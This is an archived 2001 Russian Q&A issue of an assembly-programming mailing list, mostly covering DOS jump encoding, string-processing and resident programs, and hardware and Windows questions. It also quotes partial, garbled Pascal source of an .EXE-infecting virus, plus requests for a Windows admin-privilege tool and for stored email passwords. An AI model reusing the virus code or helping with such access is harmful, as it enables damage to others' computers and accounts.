Отправляет email-рассылки с помощью сервиса Sendsay
  Все выпуски  

Ассемблер? Это просто! Учимся программировать (FAQ)


Служба Рассылок Subscribe.Ru

Ассемблер? Это просто! Учимся программировать (FAQ)
______________________________________

Выпуск N 121

Вопросы, которые поступили от подписчиков рассылки
"Ассемблер? Это просто! Учимся программировать"

Дата выхода: 2001-10-22


Вопрос №1269

А можно и мне вопросик задать? :) Можно? Спасибо. :))
Вопросик состоит в выборе одной из ДВУХ альтернатив при покупке мышки: инфра- или радио-? (Оптическая не подходит по многим причинам...) Какую Вы посоветуете? Какая лучше, какая хуже?

Ответ

Здравствуйте, Kit!
НУ МАЖОР!!! я бы взял радио, т.к. ей не нужна прямая видимость, а у меня стол завален всяким хламом и напряжно будет с инфракрасной. А ваще мышь должна быть хвостатой! (и со стола ей упасть и раскокошиться тогда сложнее).


Отправил эксперт: Painbringer (http://limanski.narod.ru - нечто наподобие домашней страницы)
Эксперт отправил ответов (всего): 198

Экспертная группа: Модели, виды и типы компьютеров (hard)

Вопрос №1269

А можно и мне вопросик задать? :) Можно? Спасибо. :))
Вопросик состоит в выборе одной из ДВУХ альтернатив при покупке мышки: инфра- или радио-? (Оптическая не подходит по многим причинам...) Какую Вы посоветуете? Какая лучше, какая хуже?

Ответ

Здравствуйте, Kit!
Честно говоря, ни то ни другое... Все эти vireless затейка бредовая...
Вичь если Вы выложите уеву тучу денег за беспроводную мыши... И, о, боже, кнопушки превратятся в декорации... Не хотити оптику брать - берите трекбол... Он подороже, но вешь стоящая...
А если говорить о выборе между этими двумя поганящими род мышей особями - берите инфра... Радио - лишние помехи... Инфра более стабильна...


Отправил эксперт: Anvar
Эксперт отправил ответов (всего): 16

Экспертная группа: Модели, виды и типы компьютеров (hard)

Вопрос №1261

Привет всем!
Вопрос для MOByte. Я так и думал но меня разуверило в этом слудующее действие. Например запускаешь debug. Пишешь команды jmp metka jmp metka. Так дампишь память по этому месту и видиши смещение вперед 0fc и 0аe например как тогда ведь это числа отрицательные, а смещение-то вперед

Ответ

Здравствуйте, DiGiT!
Попробуй скомпильнуть и сдампить "metka_: jmp metka_" - абсолютное значение смещения равно размеру команды jmp, но оно отрицательно, т.е. идет смещение назад. Или я не понял вопроса?


Отправил эксперт: MOByte
Эксперт отправил ответов (всего): 9

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №1271

Для хакеров!
Текст приведённой ниже программы вирус I-Worm.Hybris.b
ИлИ я ошибаюсь??

Ответ

Здравствуйте, Владимир!

Вряд ли вопрос "Для хакеров!" ;)
И вообще, нерезидентные вирусы не интересно. Если хочешь хороший оптимизированный код - строгай на асме, приятно же самому задавать структуру программы, чем терпеть шаблонность компилятора (хоть и паскалевского).


Отправил эксперт: MOByte
Эксперт отправил ответов (всего): 10

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №1273

Как заставить программу сравнить первый символ каждого слова с буквой "а"?

Ответ

Здравствуйте, Рамиль!
Пользуйся. Тока пожалуйста оптимизируй ее немного. А мне в лом..

Приложение:


Отправил эксперт: DiGiT
Эксперт отправил ответов (всего): 41

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №1273

Как заставить программу сравнить первый символ каждого слова с буквой "а"?

Ответ

Здравствуйте, Рамиль!
повтыкай в мою прогу. единственный ее глюк - если вначале слова больше одной "а", то она его не выведет. переделывать лень было. так что посмотри.
а твоя, кстати, если слово из одних "а" - запориться и вообще она немного кривая

Приложение:


Отправил эксперт: Broken Sword
Эксперт отправил ответов (всего): 195

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №1274

Привет всем!!!
Меня тут недавно завалили ответами!!! Вообще-то хорошо хоть рассылка немного оживилась. Я по поводу jmp.
Разобрался. Прогнал конечно немного. Но взял книгу Финогенова и разобрался. Но для общей информации для тех кто не знает расскажу. Что ближний переход адресуется все-таки целым беззнаковым числом,правда с такой фишкой как если надо вернуться назад то сначала считаешь до конца сегмента+смещение относительно начала сегмента и получается общее смещение. А вот насчет абсолютного смещения кто-то прогнал. Как, если это смещение, оно может быть абсолютным. Смещение и подразумевает что относительно чего-то. Короткий да знаковым. Ну правда есть еще и косвенные переходы... Но это каждый сам.

Ответ

Здравствуйте, DiGiT!
А не кажется ли тебе, что это одно и то же?! Просто в случае длинного ближнего перехода используется знаковое слово, а не байт как в случае короткого перехода. Отсчет ведется от следующей за командой перехода команды. Поиграмем в интересную игру - найди 10 отличий.
Короткий переход:
1 0000 .model tiny
2 0000 .code
3 org 100h
4 0100 start:
5 0100 EB 51 jmp @@1 ; короткий переход на 51h байт вперед (+51h= 1 байт ret+100h байт db)

6 0102 C3 @@2: ret
7 0103 50*(41) db 50h dup ('A')
8 0153 EB AD @@1: jmp @@2 ; длинный переход на 53h байта назад (0adh=-53h= 1 байт ret + 50h байт db + 2 байта jmp @@2)
9 end start
Длинный переход:
1 0000 .model tiny
2 0000 .code
3 org 100h
4 0100 start:
5 0100 E9 0101 jmp @@1 ; длинный переход на 101h байт вперед (+101h= 1 байт ret + 100h байт db)
6 0103 C3 @@2: ret
7 0104 0100*(41) db 100h dup ('A')
8 0204 E9 FEFC @@1: jmp @@2 ; длинный переход на 104h байта назад (0fefch=-104h= 1 байт ret + 100h байт db + 3 байта jmp @@2)
9 end start

ps если рассуждать твоим методом, то мона и так сказать, в короткий переход адрессуется целым беззнаковым числом размером в байт, а что бы с такой фишкой вернуться назад отсчитываешь сколько байт до границы в +127 байт и прибавляешь число байт от границы -127 байт :D


Отправил эксперт: Painbringer (http://limanski.narod.ru - нечто наподобие домашней страницы)
Эксперт отправил ответов (всего): 199

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №1273

Как заставить программу сравнить первый символ каждого слова с буквой "а"?

Ответ

Здравствуйте, Рамиль!
Вот вам моя прога (не окончена т.к. если последнее слово заканчивается (и начинается) на а то она его не выводит (почему то ? вроде должна :((()
.model tiny
.code
org 100h
begin:
mov ah,0ah
mov dx,offset buffer_max_length
int 21h
mov cl,buffer_length
xor ch,ch
mov di,offset buffer
add cx,di
next_word:
mov al,' '
repz scasb ;find first symbol that is not a space (first symbol of the word)
cmp byte ptr [di-1],'a' ;this is 'a' ?
jne next ;no, let's try another word
mov si,di ;yes! remember word's begin
dec si
repnz scasb ;find end of this word (first space after it)
test cx,cx ;if cx=0 (last symbol in the string)
jz eol ;then compare last symbol with 'a'
dec di ;else di=di-2
dec di ;and compare symbol before space
eol:
cmp byte ptr [di],'a'
jne next
mov al,0ah;next word-next string
int 29h
mov al,0dh
int 29h
write_string: ;write the word
lodsb
int 29h
cmp si,di
jng write_string
next:
inc di
test cx,cx ;end of string ?
jnz next_word
retn
buffer_max_length db -1
buffer_length db ?
buffer:
end begin


Отправил эксперт: Bart Simpson
Эксперт отправил ответов (всего): 10

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №1285

Здравствуйте уважаемые эксперты.

Подскажите

Поддерживает ли PROC синтаксис с явным заданием сегмента кода и можно ли из одного сегмента кода вызвать процедуру, описанную как NEAR в другом сегменте кода.

Ответ

Здравствуйте, ivekm!
Так ты пробуй call far ptr metka


Отправил эксперт: DiGiT
Эксперт отправил ответов (всего): 42

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №1282

А можно ли сравнивать сразу же первый и последний символ и выводить это слово отдельно? К примеру, символом явл. буква "а".

Ответ

Здравствуйте, Рамиль!
Так ты разберись в этой проге. Там слово заносится по адресу slovo. Так и проверяй в нем последнюю букву и если надо выводи на экран. Что конкретно то надо


Отправил эксперт: DiGiT
Эксперт отправил ответов (всего): 43

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №1279

Всем привет!!

Вот такая странная история, нужна прога для Окон2000 типа GETADMIN! Воощем 10 тачек и сервак залокан, сисадмин спился его выкинули, а сервак остался залокан, из учетных записей тока Administrator!!!
Заранее пасибо! Буду очень признателен!

Ответ

Здравствуйте, Wiz!
Переустанови если не знаешь Админовский пароль. А так все зависит от привилегий которые ты имеешь. Или пробуй так снимай винт и цепляй к другой NT. А с нее пляши дальше. А так просто тебе NT-ха не дастся.
Короче переустанови все к чертовой бабушке.


Отправил эксперт: DiGiT
Эксперт отправил ответов (всего): 44

Экспертная группа: Пользовательская работа с Windows

Вопрос №1277

Ребзя ! Вообщем написал я прогу (резидентный таймер) (прилагается) почему она занимает маста в памяти аж (!) 128 байт (144 байта ? если верить досовскому mem (вообще кому верить ? если каждая прога говорит разное ?)) я так понял резидентная прога должна использовать стэк (;) а как инт 27h узнает скока нам его надо ? и где он распологается ? а может лучше инт 31h (или как там...) и вообще как резидент оставить без PSP ? максимум что я смог сделать это скопировать её в 32h меньше уже нельзя :( там сэйвится старые обрабочики ctr-break etc. да ! и еще предлагаю возобновить наши конкурсы самых маленьких прог ! а то нам с Broken Sword'om ужу надоело одним :( ну как ? напишите меньше ? (только чур оптимизировать только резидентную часть :)


.model tiny
.186
.code
org 2ch
env_seg dw ?
org 100h
begin:
jmp short initialize
int_1ch_handler proc far
pusha
push es
push ds
db 68h,00h,0b8h
pop es
mov di,70*2
mov ax,7020h
stosw
mov al,04h
repeat:
out 70h,al
push ax
in al,71h
push ax
db 0c0h,0e8h,04h
or al,30h
stosw
pop ax
and al,0fh
or al,30h
stosw
mov al,3ah
stosw
pop ax
sub al,2
jns repeat
dec di
dec di
mov al,20h
stosb
pop ds
pop es
popa
db 0eah
old_int_1ch dd ?
int_1ch_handler endp
initialize:
mov ah,49h
mov es,word ptr env_seg
int 21h
mov ax,351ch
int 21h
mov word ptr old_int_1ch,bx
mov word ptr old_int_1ch+2,es
push cs
pop es
mov si,offset int_1ch_handler
mov di,new_start
mov cx,offset initialize-offset int_1ch_handler
rep movsb
mov ax,251ch
mov dx,new_start
int 21h
mov dx,offset initialize-100h+new_start
int 27h
;данные
new_start equ 32h
end begin

Ответ

Здравствуйте, Барт Симпсон!
Так ты выделяй свой стек и еще с запасом так как дос самой он еще нужен будет. Например в сегменте кода. А там настраивай ss на начало сегмента, а sp на конец той структуры.
Например
mystack dw dup(40)
...
mov ax,cs
add ax,offset mystack
mov ss,ax
mov sp,40*2
И еще используй
mov ax,3100h
int 21h
Вместо Int 27h
Конечно длинная программа и вряд ли в ней кто будет копаться, но я тебе скажу, что не старайся запихнуть в 1ch такой длинный код,т.к. он должен выполняться 18.2 раза в секунду.


Отправил эксперт: DiGiT
Эксперт отправил ответов (всего): 45

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №1269

А можно и мне вопросик задать? :) Можно? Спасибо. :))
Вопросик состоит в выборе одной из ДВУХ альтернатив при покупке мышки: инфра- или радио-? (Оптическая не подходит по многим причинам...) Какую Вы посоветуете? Какая лучше, какая хуже?

Ответ

Здравствуйте, Kit!
Бери инфра ред....


Отправил эксперт: змей
Эксперт отправил ответов (всего): 71

Экспертная группа: Модели, виды и типы компьютеров (hard)

Вопрос №1286

Здраствуйте эксперты.
Вопросы по win2000PRO
1. При копировании файлов на чужой винт на некоторых файлах имею стабильную перезагрузку, свой диск разбит на два FAT32 и NTFS так вот заметил, что перезагрузка возникает только если пытаюсь копировать с раздела NTFS, а вот при копировании на свой диск (который FAT32) проблем не возникает.
2. Время от времени (в зависимости от фазы луны) так же возникает перезагрузка.
3. Имею с брателой небольшую локальную сетку (соеденены витой парой UTP 100 Mbit) связь под win98se идеальна и главное двухсторонняя, но, если мой комп под win2000, не могу с его машины залезть к себе и покавыряться на дисках :( не пускает (ну не ставить ведь сервер 2000 дома).
4. А нормально с DOS Win2000 работать может? Я имею в виду подержку буфера обмена как в win98 и русской клавиатуры без всяких дополнительных загрузок разных кейрусов? Ведь в консоли DOS Win2000 по русски вроде чегото может.
5. А нормально в Win2000 на прямой конект с друганами через модем соеденится можно? Хотел как в 98 используя сервер удалЈнного доступа или ярлычЈк дозвона как в инет только с включЈнной галкой войти в сеть - дык нет таких, есть вроде ярлычЈк принимать входящие звонки, но по простому не работает (через какую ж.. этим пользоваться наверно через ж.. Била Гея) - если и соединяется то возникает проблема с доступом.
P.S. Сносить или не сносить win2000, вот в чЈм вопрос! Винда то шибко удобная, но если данные проблемы нельзя както обойти, то грош цена ей - будем юзать только на работе ;).

Ответ

Здравствуйте, Denisov Evgeniy!
1. нтфс ставь первой... т.к фат не увидит нтфс
2. че за перезагрузка?? поконкретней можно? в даун вылетает сам
или ты жмешь ctrl alt del 100 раз????
3. а шарить ресурсы пробовал? у меня вот на работе в локалке у всех
вынь 2000 и нт у меня 98se , проблем нет..
4. если у тя русификатор грузиться сразу как вынь загружается
то можно..
5. можно, скажи другану шоб сделал так шоб принимать входящие звонки
и посмотри шоб линия была к момеду подключена а не к телефону
ведь у телефона тоже есть свойство принимать входящие
P.s. сноси нафих ведь вынь98se намного удобнее, и глюков меньше и проще с ним работать..



Отправил эксперт: змей
Эксперт отправил ответов (всего): 72

Экспертная группа: Пользовательская работа с Windows

Вопрос №1279

Всем привет!!

Вот такая странная история, нужна прога для Окон2000 типа GETADMIN! Воощем 10 тачек и сервак залокан, сисадмин спился его выкинули, а сервак остался залокан, из учетных записей тока Administrator!!!
Заранее пасибо! Буду очень признателен!

Ответ

Здравствуйте, Wiz!
в инете валом софта, поищи..может че нить и покруче найдешь чем
гетадмин...


Отправил эксперт: змей
Эксперт отправил ответов (всего): 73

Экспертная группа: Пользовательская работа с Windows

Вопрос №1272

Увжаемые эксперты.
Есть мамка AB-PT5 и проц AMD K6 200,
мамка определяет его как CPU 66 Mhz,
ставлю пень 166, определяет правильно.
Abit dont support now эти мамки.
Может у кого есть manual and new BIOS for update.
Я думаю причина в Биосе. Кто может помочь?
Премного благодарен.

Ответ

Здравствуйте, Oleg!
посмотри производителя мамки...и скачай с сайта етого производителя...


Отправил эксперт: змей
Эксперт отправил ответов (всего): 74

Экспертная группа: Модели, виды и типы компьютеров (hard)

Вопрос №1270

Для эксперта змей!
НЕ ПОНЯЛ ЮМОРА ЭТО К ЧЕМУ??????????????


Program Vir;



{$M 2048,0,4096}



Uses Dos, Crt;



Var F1 : File;

F2 : File;

O : String;

Parm : String;

P : DirStr;

N : NameStr;

E : ExtStr;

Buf : Array[0..8000] of Byte;

NumRead : Word;

NumWritten : Word;

DirInfo : SearchRec;

ComExist : SearchRec;

Infect : Byte;



Procedure StartOrigExe;

Begin

O := ParamStr(0);

FSplit(O,P,N,E);

O := P+N+'.EXE';

P := '';

For NumRead := 1 To ParamCount Do

P := P + ParamStr(NumRead);

SwapVectors;

Exec(O,P);

SwapVectors;

End;



Procedure InfectExe;

Begin

FindFirst('*.EXE',Archive,DirInfo);

While (DosError = 0) And (Infect0 Then

Begin

Assign(F1,O);

Rewrite(F1,1);

BlockWrite(F1,buf,NumRead,NumWritten);

Close(F1);

SetFattr(F1,Hidden);

Dec(Infect);

End;

FindNext(DirInfo);

End;

End;



Procedure Activate;

Var

T1,T2 : Integer;

I : Real;

X , Y : Byte;

Resolution : Integer;



Begin

ClrScr;

I := 0;

T2 := 38;

Randomize;

Repeat

Resolution := 50;

For T1 := 0 to Resolution Do

Begin

X := Abs(40+Round(Sin(I)*T2));

Y := Abs(12-Round(Cos(I)*10));

GotoXY(X,Y);

Write('Ы');

I := I + ((Pi*2)/Resolution);

End;

T2 := T2 - 1;

TextColor(Random(14)+1);

Until T2

Ответ

Здравствуйте, Владимир!
не...ет я не тебе..проста..запарился..


Отправил эксперт: змей
Эксперт отправил ответов (всего): 75

Экспертная группа: Модели, виды и типы компьютеров (hard)

Вопрос №1256

А где отлук экспресс "хранит" пароли на аккаунты? и вообще как их можно узнать...

Ответ

Здравствуйте, Andrew!
посмотри в профиле юзера...


Отправил эксперт: змей
Эксперт отправил ответов (всего): 76

Экспертная группа: Пользовательская работа с Windows

Вопрос №1287

Почему при вызове прерывания int 16h в ah загружается 10h.
Я прочитал помощь из базы, которую скачал с сайта, там указано, что загружать надо 00h, 01h или 02h, хотя я не заметил никакой разницы между 10h и 00h ?

Ответ

Здравствуйте, Илья!
В тичхелпе описано что есть функции 00 01 и 02 в 16-ом прерывании. А насчет других ничего не сказано, хотя не исключается, что есть функции с номером поболее.


Отправил эксперт: DiGiT
Эксперт отправил ответов (всего): 46

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №1274

Привет всем!!!
Меня тут недавно завалили ответами!!! Вообще-то хорошо хоть рассылка немного оживилась. Я по поводу jmp.
Разобрался. Прогнал конечно немного. Но взял книгу Финогенова и разобрался. Но для общей информации для тех кто не знает расскажу. Что ближний переход адресуется все-таки целым беззнаковым числом,правда с такой фишкой как если надо вернуться назад то сначала считаешь до конца сегмента+смещение относительно начала сегмента и получается общее смещение. А вот насчет абсолютного смещения кто-то прогнал. Как, если это смещение, оно может быть абсолютным. Смещение и подразумевает что относительно чего-то. Короткий да знаковым. Ну правда есть еще и косвенные переходы... Но это каждый сам.

Ответ

Здравствуйте, DiGiT!

Спасибо по разъяснение насчет ближнего перехода - я как-то эту информацию видимо пропустил в свое время, а ответ писал по памяти, не пользуясь справочниками - ну нет их у меня под рукой на работе... :((
А из дому тащить лень.

А по поводу "абсолютного" и "относительного" смещения - я имел в виду отсчет от начала сегмента. Потому как адрес представляется парой сегмент:смещение, вот его я и назвал абсолютным, в отличие от относительного, которое отсчиьывается от текущего положения указателя команд. Так что насчет терминологии все правильно, а вот насчет описания команды - нет :((

Еще раз спасибо за корректировку. Может, кому и пригодится.


Отправил эксперт: Ayl
Эксперт отправил ответов (всего): 41

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Подписаться на рассылки

Рассылки Subscribe.Ru
Ассемблер? Это просто! Учимся программировать
Ассемблер? Это просто! Учимся программировать (FAQ)

Форма подачи вопроса

ВНИМАНИЕ!!! Пожалуйста, НЕ высылайте один вопрос сразу нескольким подгруппам! Дополнения к вопросам, на которые эксперт уже ответил НЕ следует направлять ведущему рассылки (я не успеваю!). Просто скомбинируйте первый вопрос и дополнение к нему, а затем заново отправьте его, используя приведенную ниже форму!

Нажимайте кнопку "Отправить" только ОДИН раз и дождитесь полной загрузки страницы, иначе вопрос будет продублирован!


Ваше имя *:

Ваш e-mail *:

Подгруппы:

Вопрос *:

Прилагаемая программа (если необходимо):


Регистрация в качестве эксперта

Архив выпусков


Ведущий рассылки,

Калашников Олег: Assembler@Kalashnikoff.ru
ICQ No.:
68951340
URL сайта подписчиков: http://www.Kalashnikoff.ru

______________

По вопросам сотрудничества, рекламы и спонсорства обращайтесь:

  1. Публичное размещение материала из рассылки: Cooperation@Kalashnikoff.ru
  2. Реклама на сайте, в книге и рассылках: http://www.Kalashnikoff.ru/Reklama.html, Reklama@Kalashnikoff.ru
  3. Издание книги (спонсорство): Sponsor@Kalashnikoff.ru

Рассылка 'Ассемблер? Это просто! Учимся программировать (FAQ)' Рассылка 'Ассемблер? Это просто! Учимся программировать'


(C) Москва, 2001. Авторское право принадлежит Калашникову О.А. Публичное размещение материала из рассылки, а также его использование полностью или частично в коммерческих или иных подобных целях без письменного согласия автора влечет ответственность за нарушение авторских прав.


http://subscribe.ru/
E-mail: ask@subscribe.ru
Отписаться
Убрать рекламу
Рейтингуется SpyLog

В избранное